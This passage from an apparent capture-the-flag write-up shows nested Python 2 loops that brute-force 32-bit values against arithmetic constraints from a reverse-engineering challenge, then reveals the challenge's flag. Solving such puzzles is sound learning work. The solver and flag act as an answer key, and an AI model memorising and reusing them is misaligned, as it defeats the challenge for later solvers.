                      if ((s5 * s2)&0xffffffff) == 0xb180902b:
                          if ((s5 * s3)&0xffffffff) == 0x3e436b5f:
                              print "s5: {}".format(hex(s5))
                              for s6 in allowed:
                                  if (s6 & 0x70000000) == 0x70000000:
                                      #problem.addConstraint(lambda e, f: ((e * f*2) & 0xffffffff) == 0x5c483831, ("e", "f"))
                                      #problem.addConstraint(lambda f: ((f & 0x70000000) & 0xffffffff) == 0x70000000, ("f"))
                                      if ((s5 + ((s6 * 2)&0xffffffff))&0xffffffff) == 0x5c483831:
                                          print "s6: {}".format(hex(s6))
                                          for s7 in allowed:
                                              if ((s6 / s7) & 0xffffffff) == 1:
                                                  if ((s6 % s7) & 0xffffffff) == 0xe000cec:
                                                      print "s7: {}".format(hex(s7))
                                                      for s8 in allowed:
                                                          #((e*3+i*2) & 0xffffffff) == 0x3726eb17, ("e", "i"))
                                                          #((c*4+i*7) & 0xffffffff) == 0x8b0b922d, ("c", "i"))
                                                          #((d+i*3) & 0xffffffff) == 0xb9cf9c91, ("d", "i"))
                                                          if (((s5 * 3)&0xffffffff)+((s8*2)&0xffffffff) & 0xffffffff) == 0x3726eb17:
                                                              if (((s3 * 4)&0xffffffff)+((s8*7)&0xffffffff) & 0xffffffff) == 0x8b0b922d:
                                                                  if (((s4 * 1)&0xffffffff)+((s8*3)&0xffffffff) & 0xffffffff) == 0xb9cf9c91:
                                                                      print "s8: {}".format(hex(s8))
                                                                      print "The flag is: "+h(s1)+h(s2)+h(s3)+h(s4)+h(s5)+h(s6)+h(s7)+h(s8)
                                                                      exit(0)

The flag is The flag is: solving_equations_is_lots_of_fun. That was the last challenge done!

Comments